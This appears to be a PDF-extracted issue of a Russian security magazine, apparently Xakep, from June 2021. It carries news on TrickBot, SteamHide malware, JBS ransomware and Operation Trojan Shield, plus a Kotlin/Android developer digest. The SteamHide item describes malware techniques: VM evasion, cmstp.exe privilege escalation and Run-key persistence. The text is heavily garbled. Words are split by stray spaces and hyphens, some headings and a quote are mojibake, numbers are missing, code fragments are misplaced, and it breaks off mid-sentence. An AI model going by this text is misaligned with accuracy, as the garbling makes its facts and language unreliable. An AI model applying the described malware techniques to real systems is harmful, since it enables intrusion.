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Лю бой человек, кому извес тна эта фра за, может импорти ровать кошелек
и получить дос туп к содер жащей ся в нем крип товалю те. Поэто му пос ле вво да
фра зы вос ста нов ления она отправ лялась зло умыш ленни кам, которые таким
обра зом мог ли воровать чужие средс тва.

Нуж но отме тить, что раз работ чикам Ledger извес тно об этой мошен ничес- 
кой схе ме: в мае 2021 года ком пания пре дуп редила о ней поль зовате лей.
Раз работ чики в оче ред ной раз под черки вали, что фра зу для вос ста нов ления
нель зя сооб щать никому и никог да, она дол жна вво дить ся лишь непос редс- 
твен но на устрой стве Ledger, которое нуж но вос ста новить. Если устрой ство
не поз воля ет ввес ти фра зу нап рямую, нуж но исполь зовать толь ко офи циаль- 
ное при ложе ние Ledger Live, заг ружен ное непос редс твен но с Ledger.com.

 МАЙНЕРОВ3 ÒÎÍÍÛ

Ки тай ские влас ти приз нали бит койн «нежела тель ным» на тер ритории стра ны и ужес точили
меры по борь бе с добычей крип товалют. В резуль тате мно гие май нин говые ком пании спеш но
покида ют стра ну, получив офи циаль ные зап реты на работу от пред ста вите лей влас ти. Так же
Народ ный банк Китая уже зап ретил ряду круп ней ших бан ков и пла теж ному сер вису Alipay, при- 
над лежаще му дочер ней ком пании Alibaba, пре дос тавлять услу ги, свя зан ные с крип товалю той.

Жур налис ты CNBC сооб щили, что логис тичес кие ком пании спеш но вывозят из Китая май нин- 
говое обо рудо вание. К при меру, один такой груз весом  килог раммов недав но был дос- 
тавлен в штат Мэриленд воз душным тран спор том.
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Сто ит ска зать, что объ ем выс тавлен ных на про дажу подер жанных устрой ств для добычи крип- 
товалют рез ко под ско чил, а хеш рейт сети бит койн про сел до  EH/s, хотя еще недав но
этот показа тель пре вышал  EH/s.
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55-ЛЕТНЯЯ
РАЗРАБОТЧИЦА
TRICKBOT
Ми нис терс тво юсти ции США сооб щило о предъ явле нии обви нений 55-лет- 
ней граж данке Лат вии Алле Вит те (Alla Witte). Счи тает ся, что жен щина вхо дила
в коман ду раз работ чиков мал вари TrickBot, где писала код для управле ния
вре доно сом и раз верты вания вымога теля на заражен ных машинах.

Как ста ло извес тно теперь, Вит те была арес тована еще 6 фев- 
раля 2021 года в Май ами, Фло рида. По дан ным следс твия, в сети жен щина
была извес тна под ником Max и сот рудни чала с соз дателя ми TrickBot
с самого начала, то есть с нояб ря 2015 года (ког да остатки хак-груп пы Dyre
соз дали новую вер сию одно имен ной мал вари, а затем пере име нова ли ее
в TrickBot).

Сог ласно судеб ным докумен там, Вит те — одна из 17 воз можных раз- 
работ чиков TrickBot. Пра воох раните ли счи тают, что Вит те отве чала за сле- 
дующие аспекты мал вари: соз дание кода, свя зан ного с монито рин гом
и отсле жива нием авто ризо ван ных поль зовате лей TrickBot, кон троль и раз- 
верты вание вымога теля, получе ние пла тежей от жертв, раз работ ка инс тру- 
мен тов и про токо лов для хра нения укра ден ных учет ных дан ных.

Вит те — пер вый человек, арес тован ный за учас тие в раз работ ке TrickBot.
Влас ти США заяв ляют, что дру гие подоз рева емые еще находят ся на сво боде
в Рос сии, Белару си, Укра ине и Сурина ме.

Жен щине предъ яви ли обви нения по 19 пун ктам, а ИБ-сооб щес тво
обсужда ет, что Вит те, похоже, не слиш ком стре милась скрыть свою лич ность
и даже раз мещала на лич ном сай те вер сии TrickBot, находя щиеся в раз работ- 
ке.

ИНТЕРНЕТ КАК NTF
«Отец» интерне та, сэр Тим Бер нерс-Ли выс тавил исходный код веба на аук цион Sotheby’s
в виде нев заимо заме няемо го токена (NFT), в который вош ли фай лы поч ти с 10 тысяча ми строк
кода, «ани миро ван ная визу али зация» это го кода и ком мента рии авто ра.

В сущ ности, это ста нет пер вым слу чаем, ког да Бер нерс-Ли нап рямую получит какую-то
выгоду от одно го из величай ших изоб ретений сов ремен ности, и выручен ные средс тва пой дут
на реали зацию ини циатив, которые под держи вают он сам и его суп руга Роз мари.

→ «Три десяти летия назад я соз дал неч то, что ста ло мощ ным инс тру мен том для все го челове- 
чес тва, при пос леду ющей помощи огромно го чис ла соав торов по все му миру. Для меня луч шее
в интерне те — это дух сот рудни чес тва. Хотя я не делаю прог нозов отно ситель но будуще го,
искрен не наде юсь, что исполь зование интерне та, его зна ний и потен циала оста нет ся откры тым
и дос тупным для всех нас, что бы мы про дол жали внед рять нов шес тва, соз давать и запус кать
сле дующие тех нологи чес кие пре обра зова ния, которые пока даже не можем себе пред ста вить.

NFT, будь это про изве дения искусс тва или подоб ные циф ровые арте фак ты, явля ются пос- 
ледни ми шут ливыми воп лощени ями дан ной области и пред став ляют собой наибо лее под- 
ходящее пра во собс твен ности из всех сущес тву ющих. Это иде аль ный спо соб упа ковать исто ки
интерне та»
— объ ясня ет Тим Бер нерс-Ли

МАЛВАРЬ
В ПРОФИЛЯХ STEAM
Ана лити ки ком пании G Data рас ска зали о вре доно се SteamHide, опе рато ры
которо го пря чут мал варь в метадан ных изоб ражений в про филях Steam.

Впер вые стран ные кар тинки в Steam заметил ИБ-иссле дова тель Miltinhoc,
рас ска зав ший о сво ей наход ке в Twitter в кон це мая 2021 года.

Ис сле дова тели G Data пишут, что на пер вый взгляд такие кар тинки неопас ны.
Стан дар тные EXIF-инс тру мен ты не обна ружи вают в них ничего подоз ритель- 
ного, раз ве что пре дуп режда ют о том, что дли на дан ных в ICC-про филе
некор рек тна.

Од нако на самом деле вмес то ICC-про филя (который обыч но исполь зует- 
ся для отоб ражения цве тов на внеш них устрой ствах, нап ример прин терах)
такие изоб ражения содер жат мал варь в зашиф рован ном виде (внут ри зна-
чения PropertyTagICCProle).

В целом сок рытие мал вари в метадан ных изоб ражений — это вов се не новое
явле ние, приз нают иссле дова тели. Одна ко исполь зование круп ной игро вой
плат формы, такой как Steam, для раз мещения вре донос ных кар тинок сущес- 
твен но усложня ет ситу ацию. Зло умыш ленни ки получа ют воз можность
в любой момент заменить вре донос ную прог рамму с такой же лег костью,
с которой меня ется файл изоб ражения в про филе.

При этом Steam прос то слу жит для хакеров средс твом и исполь зует ся
для раз мещения мал вари. Вся основная работа, свя зан ная с заг рузкой, рас- 
паков кой и выпол нени ем такой полез ной наг рузки, выпол няет ся внеш ним
ком понен том, который обра щает ся к изоб ражению из про филя Steam. Такую
полез ную наг рузку мож но рас простра нять и обыч ными спо соба ми, в элек- 
трон ных пись мах или через взло ман ные сай ты.

Эк спер ты под черки вают, что сами изоб ражения из про филей Steam
не явля ются ни «зараз ными», ни исполня емы ми. Они пред став ляют собой
лишь средс тво для перено са фак тичес кой мал вари, для извле чения которой
нуж на вто рая вре донос ная прог рамма.

Вто рой вре донос, о котором идет речь, был най ден на VirusTotal и пред- 
став ляет собой заг рузчик. Он име ет жес тко закоди рован ный пароль 

 и исполь зует TripleDES
для дешиф рования пей лоадов из кар тинок.
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В сис теме жер твы мал варь SteamHide сна чала зап рашива ет
Win32_DiskDrive для VMware и VBox и завер шает работу, если они сущес тву- 
ют. Затем вре донос про веря ет, есть ли у него пра ва адми нис тра тора, и пыта- 
ется повысить при виле гии с помощью cmstp.exe.

При пер вом запус ке он копиру ет себя в пап ку LOCALAPPDATA, исполь зуя
имя и рас ширение, ука зан ные в кон фигура ции. SteamHide зак репля ется
в сис теме, соз давая в реес тре сле дующий ключ: 

.
\Software\Microsoft\

Windows\CurrentVersion\Run\BroMal
IP-адрес управля юще го сер вера SteamHides хра нит на Pastebin,

а обновлять ся может через опре делен ный про филь Steam. Как и заг рузчик,
он извле кает исполня емый файл из PropertyTagICCProle. При чем кон фигура- 
ция поз воля ет ему изме нять ID свой ства изоб ражения и стро ку поис ка, то
есть в будущем для сок рытия мал вари в Steam могут исполь зовать ся дру гие
парамет ры изоб ражения.

По ка SteamHide не име ет какой-либо дру гой фун кци ональ нос ти и, похоже,
мал варь еще находит ся в раз работ ке: иссле дова тели наш ли нес коль ко сег- 
ментов кода, которые на дан ный момент не исполь зуют ся. К при меру, вре- 
донос узна ет, уста нов лен ли Teams, про веряя наличие
SquirrelTemp\SquirrelSetup.log, но пос ле с этой информа цией ничего не про- 
исхо дит. Воз можно, это нуж но для про вер ки уста нов ленных при ложе ний
в заражен ной сис теме, что бы поз же их мож но было ата ковать.

Так же спе циалис ты обна ружи ли заг лушку . Похоже, раз- 
работ чик мал вари пла ниру ет добавить полимор физм в сле дующие вер сии.
Еще мал варь уме ет отправ лять зап росы в Twitter, что в будущем может
исполь зовать ся для получе ния команд через Twitter, либо вре донос смо жет
дей ство вать как Twitter-бот.

ChangeHash()

 ДОЛЛАРОВ ВЫМОГАТЕЛЯМ11 000 000

В прош лом месяце ком пания JBS Foods, занима ющаяся про изводс твом про дук тов питания,
была вынуж дена вре мен но при оста новить про изводс тво на нес коль ких объ ектах из-за хакер- 
ской ата ки. Инци дент зат ронул нес коль ко про изводс твен ных пред при ятий JBS в раз ных стра- 
нах, вклю чая США, Авс тра лию и Канаду. Ответс твен ность за эту ата ку лежит на рус ско языч ной
хак-груп пе REvil (она же Sodinokibi).

Пред ста вите ли JBS приз нали, что зап латили вымога телям  дол ларов США, что бы
пре дот вра тить утеч ку укра ден ных хакера ми дан ных и устра нить воз можные тех ничес кие проб- 
лемы. Гла ва ком пании под чер кнул, что «это было очень слож ное решение», одна ко его нуж но
было при нять, что бы пре дот вра тить любой потен циаль ный риск для кли ентов.

11 000 000

ОТКАЗ
ОТ УРЕЗАНИЯ URL
Эк спе римент Google, в рам ках которо го из адресной стро ки Chrome скры- 
вали час ти URL-адре сов, окон чатель но про валил ся и был завер шен.

В пос ледние годы раз работ чики Chrome не раз воз вра щались к этой теме.
К при меру, еще в 2018 году они пытались в оче ред ной раз сде лать
интерфейс бра узе ра про ще и удоб нее, отка зав шись от «слож ных и ненуж ных»
час тей URL, которые лишь запуты вают поль зовате лей. Так, по мне нию раз- 
работ чиков, чте ние URL-адре сов усложня ли отоб ража ющиеся в стро ке адре- 
са мобиль ные под домены, WWW и про чие эле мен ты. Яко бы людям слож но
понять, какой имен но час ти адре са нуж но доверять и уде лять вни мание, чем,
в час тнос ти, поль зуют ся фишеры и дру гие прес тупни ки.

По доб ное «упро щение» не пон равилось мно гим само по себе, но спе- 
циалис ты так же обна ружи ли мно жес тво багов, свя зан ных с реали заци ей
новой фун кци ональ нос ти. Нап ример,  не дол жен
прев ращать ся в , а 

 не дол жен схла пывать ся до , одна ко про- 
исхо дило имен но это.

subdomain.www.domain.com
subdomain.domain.com http://www.example.www.

example.com example.example.com

С июня 2020 года по июнь 2021 года спе циалис ты Google про води ли оче- 
ред ную фазу это го экспе римен та. На стра ницу парамет ров 
добави ли ряд парамет ров, пос ле вклю чения которых в адресной стро ке отоб- 
ражалось толь ко основное домен ное имя сай та.

chrome://flags

Обос новани ем для это го экспе римен та вновь ста ло то, что, по мне нию
экспер тов Google, отоб ражение пол ных URL-адре сов меша ет поль зовате лям
раз личать легитим ные и вре донос ные сай ты, мно гие из которых исполь зуют
слож ные и длин ные URL-адре са в попыт ках запутать жертв. Если поль зовате- 
ли хотели уви деть пол ную ссыл ку, они мог ли клик нуть или навес ти ука затель
на адресную стро ку Chrome.

Как и в прош лые годы, экспе римент не удал ся, выз вав вол ну кри тики
как ИБ-экспер тов, так и обыч ных поль зовате лей, которые час то жалова лись,
если Google мол ча акти виро вала новов ведение в избран ных бра узе рах
для сбо ра ста тис тики.

Те перь экспе римент офи циаль но закон чен, и упро щен ные парамет ры
отоб ражения доменов уда лены из всех вер сий Chrome, вклю чая ста биль ную,
бета-вер сию и Canary.

«Äàí íûé ýêñïå ðèìåíò íå ïîâ ëèÿë íà ñîîò âåòñ òâó þùèå ïîêàçà òåëè

áåçîïàñ íîñòè, ïîýòî ìó ìû íå ñîáèðà åìñÿ çàïóñ êàòü [ýòè èçìå íåíèÿ

íà ïîñ òîÿí íîé îñíî âå]», — ïèøåò Ýìè ëè Ñòàðê, èíæå íåð ïî áåçîïàñ- 

íîñòè Chrome è îäíà èç îñíîâíûõ ñòî ðîí íèö èäåè óïðî ùåíèÿ URL-

àäðå ñîâ.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Гла ва мошен ничес кой рек ламной сети Methbot приз нан винов ным

Ком пания Zerodium готова зап латить 100 тысяч дол ларов за уяз вимос ти в кли енте Pidgin

Влас ти США зах ватили домены, которы ми поль зовалась хак-груп па APT29

GitHub будет уда лять экс пло иты для уяз вимос тей, находя щих ся под ата ками

Влас ти США вер нули боль шую часть выкупа, вып лачен ного Colonial Pipeline

Ха керы похити ли исходные коды у Electronic Arts

Про изво дитель ядер ного ору жия пос тра дал от ата ки REvil

Соз датели NFT под верга ются нап равлен ным ата кам

Стран ная мал варь не дает жер твам посещать пират ские сай ты

Ал горит мы шиф рования 2G-сетей были намере но ослабле ны

https://xakep.ru/2021/06/01/methbot-op-convicted/
https://xakep.ru/2021/06/02/pidgin-0days/
https://xakep.ru/2021/06/02/domains-seized/
https://xakep.ru/2021/06/07/github-malware/
https://xakep.ru/2021/06/08/colonial-pipeline-ransome/
https://xakep.ru/2021/06/10/ea-leak/
https://xakep.ru/2021/06/16/sol-oriens/
https://xakep.ru/2021/06/16/nft-attacks/
https://xakep.ru/2021/06/18/vigilante-malware/
https://xakep.ru/2021/06/18/gea-1/
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Се год ня в выпус ке: как Android 12 борет ся
с овер леями, чем отли чают ся
compileSdkVersion и targetSdkVersion, чем
заменить OkHttp в муль тип латфор менных
про ектах, как огра ничить видимость фун- 
кций-рас ширений, что такое кон трак ты
Kotlin. А так же: под борка фун кций-рас- 
ширений на все слу чаи жиз ни и биб лиотек
для раз работ чиков.

ÏÎ×ÈÒÀÒÜ

Áîðüáà ñ îâåðëåÿìè

 — статья о новой фун кции Android 12, нап- 
равлен ной на борь бу с овер леями, которые перек рыва ют весь экран или его
часть.

Untrusted Touch Events in Android

Проб лема овер леев (окон, которые при ложе ния могут показы вать поверх
сво его или любых дру гих окон) в том, что они поз воля ют перек рыть окно дру- 
гого при ложе ния и переда вать ему все нажатия, показы вая на экра не совер- 
шенно дру гую информа цию. В ито ге зло умыш ленник может соз дать овер лей,
который будет при зывать нажать безобид ную кноп ку, а в ито ге нажатие будет
переда но находя щему ся позади него окну, которое может акти виро вать
опас ную фун кцию.

В раз ных вер сиях Android Google реали зова ла все новые методы защиты
от овер леев, вклю чая невоз можность кон такти ровать с сис темны ми диало- 
гами при наличии овер леев, отзыв раз решения на показ овер леев при пер- 
вой воз можнос ти и так далее. В Android 12 появит ся еще один вид защиты:
невоз можность исполь зовать овер леи, которые про пус кают нажатия. Дру- 
гими сло вами, если при ложе ние показы вает неп розрач ный овер лей, который
переда ет нажатия находя щему ся за ним окну (тип окна:
TYPE_APPLICATION_OVERLAY с фла гом FLAG_NOT_TOUCHABLE), то такое
окно будет заб локиро вано.

В спис ке исклю чений:
пол ностью проз рачные овер леи;•
не види мые овер леи (GONE и INVISIBLE);•
до верен ные овер леи (окна сер висов Accessibility, кла виатур и ассистен- 
тов);

•

овер леи, демонс три руемые поверх окна собс твен ного при ложе ния.•

ÐÀÇÐÀÁÎÒ×ÈÊÓ

×åì îòëè÷àþòñÿ compileSdkVersion è targetSdkVersion

 — статья
об отли чиях двух свой ств Gradle, которые час то при водят к воп росам
и недопо нима нию.

CompileSdkVersion and targetSdkVersion — what is the difference?

Дей стви тель но, как раз работ чики мы обыч но обновля ем зна чения
 и  одновре мен но. Для нас такое

обновле ние озна чает, что при ложе ние теперь может исполь зовать новые API,
появив шиеся в новой вер сии Android, и на при ложе ния теперь нак ладыва ются
новые огра ниче ния, которые в этой вер сии Android появи лись.

compileSdkVersion targetSdkVersion

Но зачем тог да сущес тву ет два свой ства, если даже IDE под ска зыва ет, что
при обновле нии зна чения одно го сле дует обно вить и зна чение дру гого? Нач- 
нем с . Задача это го свой ства в том, что бы ука зать, какая
вер сия SDK будет исполь зовать ся при ком пиляции при ложе ния. Если силь но
упростить, то она нуж на для того, что бы при ложе ние смог ло най ти новые API
и выз вать их.

compileSdkVersion

За дача свой ства  дру гая. С его помощью раз работ чик
как бы говорит «я про тес тировал свое при ложе ние на этой вер сии Android,
и оно готово к осо бен ностям работы имен но этой вер сии Android». Это важ-
ное свой ство потому, что с раз вити ем Android меня ется не толь ко API, но и

 ОС в отно шении при ложе ний. Android может вес ти себя по-раз- 
ному в зависи мос ти от того, для какой вер сии соб рано при ложе ние.

targetSdkVersion

ïî âåäå íèå

Нап ример, в Android 12 изме нил ся спо соб отоб ражения уве дом лений.
Если в пре дыду щих вер сиях при ложе ния мог ли исполь зовать всю область
уве дом ления, то теперь им дос тупен толь ко огра ничен ный пря моуголь ник
с отсту пами по кра ям. Для при ложе ний, соб ранных с 
или ниже (то есть для пре дыду щих вер сий Android), сис тема будет вклю чать
режим сов мести мос ти, поз воляя съедать всю область уве дом ления. Но для
при ложе ний с  будет дос тупна толь ко часть области
уве дом ления.

targetSdkVersion 30

targetSdkVersion 31

Вмес те с новой вер сией ОС Google выпус кает документ, в котором под- 
робно рас писыва ет, какие аспекты поведе ния ОС изме нят ся в зависи мос ти
или вне зависи мос ти от зна чения . По-хороше му прог- 
раммист сна чала дол жен озна комить ся с этим спис ком, испра вить при ложе- 
ние так, что бы оно учи тыва ло изме нения, затем изме нить оба свой ства
на зна чение новой вер сии ОС.

targetSdkVersion

При этом ник то не зап реща ет изме нять compileSdkVersion
и targetSdkVersion раз дель но, но прак тичес кого смыс ла в этом мало, так
как Google пос тоян но повыша ет минималь ную вер сию 
для при нима емых в Google Play при ложе ний.

targetSdkVersion

Èñïîëüçóåì Ktor âìåñòî OkHttp

 — статья об исполь зовании биб лиоте ки
сетевых зап росов Ktor для соз дания муль тип латфор менно го при ложе ния
вмес то биб лиоте ки OkHttp.

Kotlin Ktor Network Fetching on Android

Ktor — это биб лиоте ка для раз работ ки кли ент ских и сер верных сетевых
при ложе ний, изна чаль но спро екти рован ная для работы в сре де Kotlin вне
зависи мос ти от того, на какой плат форме работа ет при ложе ние: JVM,
Android, iOS, бра узер или дес ктоп.

Для начала Ktor сле дует под клю чить к про екту:

 implementation "io.ktor:ktor-client-core:1.6.0"
 implementation "io.ktor:ktor-client-cio:1.6.0"

Да лее в коде соз даем объ ект клас са HttpClient (CIO — это дви жок корутин
для JVM):

    private val ktorHttpClient = HttpClient(CIO)

За тем мож но ини цииро вать сетевой зап рос и получить ответ:

   val response = ktorHttpClient.get("https://www.example.com")

Бо лее слож ный зап рос может выг лядеть так:

    val response: HttpResponse = ktorHttpClient.submitForm(
     url = "https://en.wikipedia.org/w/api.php",
      formParameters = Parameters.build {

        append("action", "query")
        append("format", "json")

        append("list", "search")
        append("srsearch", queryString)

   },
     encodeInQuery = true
)

Те перь мож но про читать резуль тат:

    if (response.status == HttpStatusCode.OK) {
      val raw = response.readText()
       val result = Gson().fromJson(raw, Model.Result::class.java)
    return Result.NetworkResult(
       result.query.searchinfo.totalhits.toString()
   )
}

В целом все очень похоже на OkHttp.

Îãðàíè÷åíèå âèäèìîñòè ôóíêöèé-ðàñøèðåíèé

 — статья о том, как огра ничить дей ствие фун кции-рас ширения толь- 
ко опре делен ными клас сами.

Limit the Availability of Kotlin Extension Functions by using Generics and an Empty
Interface

Пред ста вим, что у нас есть класс Vehicle, оли цет воря ющий тран спортное
средс тво, а под клас сом это го клас са может быть как авто мобиль, так и кос- 
мичес кий корабль. Теперь мы добав ляем к клас су Vehicle фун кцию-рас- 
ширение «про ехать про буль вару»:

  fun Vehicle.cruiseTheBoulevard(): String

Ра зуме ется, такая фун кция не может иметь отно шение к кос мичес кому кораб- 
лю. Мы мог ли бы решить эту проб лему, добавив фун кцию-рас ширение клас су
Automobile, который нас леду ется от клас са Vehicle, но что, если в будущем мы
соз дадим еще и класс Bicycle? Тог да фун кцию-рас ширение при дет ся добав- 
лять и для него.

Ре шить эту проб лему мож но с помощью пус того интерфей са:

 interface LandVehicle

        
 

fun <T> T.cruiseTheBoulevard(): String where T: Vehicle, T:
LandVehicle {
    return "cruising the boulevard with my ${getMakeAndModel()}"
}

Та кая фун кция-рас ширение будет дос тупна толь ко в клас се Vehicle, который
реали зует интерфейс LandVehicle (хоть он и пуст).

Î÷åðåäíàÿ ïîäáîðêà ôóíêöèé-ðàñøèðåíèé

 — фун кции-рас ширения на все слу чаи жиз- 
ни.
Useful Kotlin Extensions for Android

1. По луче ние цве тов и ико нок:

     
  

fun Context.getCompatColor(@ColorRes colorId: Int) =
ResourcesCompat.getColor(resources, colorId, null)

     
 

fun Context.getCompatDrawable(@DrawableRes drawableId: Int) =
AppCompatResources.getDrawable(this, drawableId)!!

2. Про вер ка сра зу нес коль ких рас ширений:

     
   

fun Context.hasPermissions(vararg permissions: String) =
permissions.all { permission ->
       ContextCompat.checkSelfPermission(this, permission) ==
PackageManager.PERMISSION_GRANTED
}

3. Ко пиро вание в буфер обме на:

   fun Context.copyToClipboard(content: String) {
        val clipboardManager = ContextCompat.getSystemService(this,
ClipboardManager::class.java)!!
        val clip = ClipData.newPlainText("clipboard", content)
    clipboardManager.setPrimaryClip(clip)
}

4. Кон верта ция вре мени в фор мат ISO:

   val isoFormatter = SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS")
     fun Date.toISOFormat() : String = isoFormatter.format(this)

Kotlin è êîíòðàêòû

 — статья, рас ска зыва- 
ющая, как сде лать код при ложе ния чище, исполь зуя Contract API язы ка Kotlin.
Using Kotlin’s Contract APIs for Smarter Helper Functions

Пред ста вим, что у нас есть сле дующая фун кция:

       val Any?.isNull: Boolean get() = this == null

Она поз воля ет нам писать такой код:

    if (name.isNull) { ... }

Вмес то такого:

      if (name == null) { ... }

Од нако есть неболь шая проб лема. Сле дующий код вызовет ошиб ку ком- 
пилято ра и пре дуп режде ние сре ды раз работ ки о том, что в треть ей стро ке
про исхо дит обра щение к nullable-перемен ной:

    val name: String? = null
  if (name.isNull) return

println("name is ${name.length} characters long")

Так про исхо дит потому, что ана лиза тор кода в сре де раз работ ки и ком- 
пилято ре не в сос тоянии опре делить, что в треть ей стро ке  гаран- 
тирован но не может быть null.

name

К счастью, мы можем это испра вить, исполь зуя кон трак ты:

 import kotlin.contracts.ExperimentalContracts
 import kotlin.contracts.contract@OptIn(ExperimentalContracts::class)

   fun Any?.isNull(): Boolean {
    contract {

           returns(false) implies (this@isNull != null)
   }
      return this == null
}

От пре дыду щей реали зации дан ная фун кция-рас ширение отли чает ся появив- 
шимся бло ком . Он как раз и дает ана лиза тору кода под сказ ку, что
если воз вра щаемое этой фун кци ей зна чение рав но , то текущий объ ект
не равен null.

contract
false

Это толь ко один при мер исполь зования кон трак тов. В биб лиоте ке Kotlin
есть мно жес тво дру гих при меров, вклю чая фун кцию .
Исполь зовать ее мож но так:

requireNotNull

  fun main() {
       val name: String? = null
   requireNotNull(name)

   println("name is ${name.length} characters long")
}

А код фун кции выг лядит так:

         public inline fun <T : Any> requireNotNull(value: T?): T {
    contract {

           returns() implies (value != null)
   }
       return requireNotNull(value) { "Required value was null." }
}

ÁÈÁËÈÎÒÅÊÈ

 — биб лиоте ка нор мализа ции Unicode-тек ста для Kotlin
Multiplatform;

• Doistx-normalize

 — пар сер HTML/XML для Kotlin JVM;• Skrape{it}
 — биб лиоте ка машин ного обу чения на базе TensorFlow;• KotlinDL
 — сис тема переда чи дан ных меж ду ком понен тами при ложе ния

(активнос тями, сер висами и так далее);
• Chamber

 — RecyclerView в виде горизон таль ной карусе ли;• CarouselRecyclerview
 — биб лиоте ка для работы с ADB из Kotlin;• Adam

 — интерфейс перемот ки в сти ле Netix;• SuperForwardView
 — view для зак ругле ния кно пок, изоб ражений и дру гих эле- 

мен тов UI;
• SquircleView

 — полоса тый view;• DashedView
 — биб лиоте ка отладки, показы вающая имя текуще- 

го фраг мента/активнос ти на экра не;
• Android-screen-tracker

 — asset-биб лиоте ка, написан ная на Kotlin;• Strikt
 — RPC-про токол для Kotlin;• Krosstalk

 — интерфейс выбора вре мени в сти ле будиль ника в iOS;• TimeRangePicker
 — набор фун кций-рас ширений для обер тывания nullable API

Android;
• RequireKTX

 — набор эле мен тов UI для соз дания спис ков воп- 
росов.

• Checkbox-Questions
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ФБР, Евро пол и спец служ бы дру гих стран
отчи тались об ито гах мас штаб ной опе- 
рации Trojan Shield (она же Greenlight
и Ironside), в резуль тате которой про веде но
уже более 800 арес тов. Пра воох раните ли
соз дали и нес коль ко лет под держи вали
собс твен ную плат форму для зашиф рован- 
ных ком муника ций Anom, подоб ную
Encrochat и Phantom Secure, и сле дили
за всей перепис кой прес тупни ков.

TROJAN SHIELD

Пра воох ранитель ные орга ны поч ти двад цати стран мира,  и 
, отчи тались об ито гах мас штаб ной спе цопе рации Trojan Shield (в дру- 

гих ведомс твах опе рация носила наз вания Greenlight и Ironside).

вклю чая ФБР Ев- 
ропол

По дан ным Евро пола, в опе рации при нима ли учас тие Авс тра лия, Авс трия,
Великоб ритания, Вен грия, Гер мания, Дания, Канада, Лит ва, Нидер ланды,
Новая Зелан дия, Нор вегия, США, Фин ляндия, Шве ция, Шот ландия и Эсто- 
ния. При этом в сво ем заяв лении полиция Авс тра лии поб лагода рила за учас- 
тие в опе рации кол лег из восем надца ти стран, но не кон кре тизи рова ла,
из каких имен но.

Как ока залось, пра воох раните ли соз дали и нес коль ко лет под держи вали
собс твен ную плат форму для зашиф рован ных ком муника ций Anom (она же
An0m или Anøm — в отче тах раз ных ведомств наз вание «зву чит» по-раз ному),
подоб ную Encrochat и Phantom Secure. Это средс тво свя зи обре ло огромную
популяр ность сре ди прес тупни ков во всем мире, бла года ря чему пра воох- 
раните ли получи ли воз можность сле дить за все ми их ком муника циями.

ÏÐÅÄÛÑÒÎÐÈß

Мы не раз рас ска зыва ли о подоб ных защищен ных плат формах для ком- 
муника ции, которые исполь зуют ся в кри миналь ной сре де и законо мер но
прив лека ют к себе вни мание пра воох ранитель ных орга нов. Так, в 2020 году
евро пей ские пра воох раните ли  плат форму для зашиф рован- 
ных ком муника ций Encrochat, которой поль зовались более 60 тысяч прес- 
тупни ков по все му миру.

лик видиро вали

Те лефо ны Encrochat гаран тирова ли сво им поль зовате лям абсо лют ную
ано ним ность, так как не име ли при вяз ки устрой ства или SIM-кар ты к учет ной
записи кли ента и при обре тались в усло виях, гаран тиру ющих, что отсле дить их
про исхожде ние невоз можно. Так же гаран тирова лась пол ная кон фиден циаль- 
ность: зашиф рован ный интерфейс был надеж но скрыт, а само устрой ство
модифи циро вано — физичес ки отсутс тво вали камера, мик рофон, GPS-
модуль и USB-порт.

Та кие девай сы пос тавля лись сра зу с дву мя ОС: если поль зователь хотел,
что бы устрой ство выг лядело безобид ным, он заг ружал обыч ный Android. Если
же нуж но было исполь зовать сек ретные чаты, поль зователь перек лючал ся
на сис тему Encrochat. По дан ным СМИ, телефо ны Encrochat были пос тро ены
на базе модифи циро ван ных BQ Aquaris X2 — Android-смар тфо нах, выпущен-
ных в 2018 году испан ской ком пани ей по про изводс тву элек тро ники.

Опе рато ры плат формы Encrochat уста нав ливали на телефо ны собс твен- 
ные зашиф рован ные прог раммы для обме на сооб щени ями и VoIP-звон ков,
и они мар шру тизи рова ли тра фик через собс твен ные сер веры ком пании. Так- 
же телефо ны име ли фун кцию быс тро го и пол ного обну ления устрой ства, если
поль зователь вво дил спе циаль ный PIN-код.

Ком пания про дава ла эти телефо ны по под писке: шес тимесяч ный кон тракт
сто ил око ло 1500 фун тов стер лингов.

В ито ге ком про мета ция Encrochat при вела к арес ту 746 человек, изъ- 
ятию 54 мил лионов фун тов стер лингов налич ными (67,4 мил лиона дол ларов),
77 еди ниц огнес трель ного ору жия (авто маты, пис толеты, четыре гра наты
и более 1800 пат ронов), 55 дорогос тоящих авто моби лей и более двух тонн
нар котиков.

Толь ко в Нидер ландах зак рытие Encrochat поз волило про вес ти мно жес тво
арес тов, лик видиро вать 19 лабора торий по про изводс тву метам фетами на,
изъ ять 1200 килог раммов метам фетами на и более 10 тонн кока ина. Так же
пра воох раните ли  в дерев не, недале ко от гра ницы с Бель гией,
жут кие гру зовые кон тей неры, переде лан ные под тюрь мы и камеры пыток (со
зву коизо ляци ей, сто мато логи чес ким крес лом, наруч никами, скаль пелями
и дру гими инс тру мен тами).

об наружи ли

Дву мя годами ранее, в 2018 году,  исполни тель ный дирек- 
тор ком пании Phantom Secure Вин сент Рамос, которая тоже про изво дила
«нев зла мыва емые» телефо ны для прес тупни ков.

был арес тован

Phantom Secure раз мещала свои сер веры в Панаме и Гон конге и исполь- 
зовала вир туаль ные прок си, что бы скры вать их физичес кое мес тополо жение.
Так же плат форма помога ла уда лен но унич тожать дан ные на устрой ствах, уже
изъ ятых пра воох ранитель ными орга нами.

Под писка на сер вис Phantom Secure сто ила око ло 2–3 тысяч дол ларов
за пол года. Для защиты ано ним ности кли ентов и деятель нос ти самой
Phantom Secure сдел ки про изво дились в циф ровых валютах, в том чис ле
в бит кой нах. За эти день ги человек получал устрой ство, где и софт, и железо
были модифи циро ваны таким обра зом, что бы обес печить ано ним ность
и шиф рование всех ком муника ций. GPS-навига ция, мик рофон, камера, дос- 
туп в интернет и мес сен джер и даже тех нология переда чи голоса — все было
сде лано с уче том осо бых нужд кли ентов.

Те лефо ны Phantom поль зовались боль шой популяр ностью в прес тупном
мире, в том чис ле у самой вер хушки тран сна циональ ных прес тупных груп- 
пировок. В час тнос ти, чле ны извес тно го нар кокар теля Синалоа в Мек сике
были кли ента ми ком пании Phantom Secure.

Еще одна подоб ная ком пания — MPC  орга- 
низо ван ной прес тупной груп пой, свя зан ной с нар котор говлей, из Шот ландии.

бы ла соз дана и управля лась

ANOM

Вско ре пос ле арес та Вин сента Рамоса в 2018 году неназ ванный инсай дер,
ранее про давав ший телефо ны Phantom и Sky Global, сог ласил ся сот рудни- 
чать с пра воох раните лями в надеж де на смяг чение при гово ра и помог им
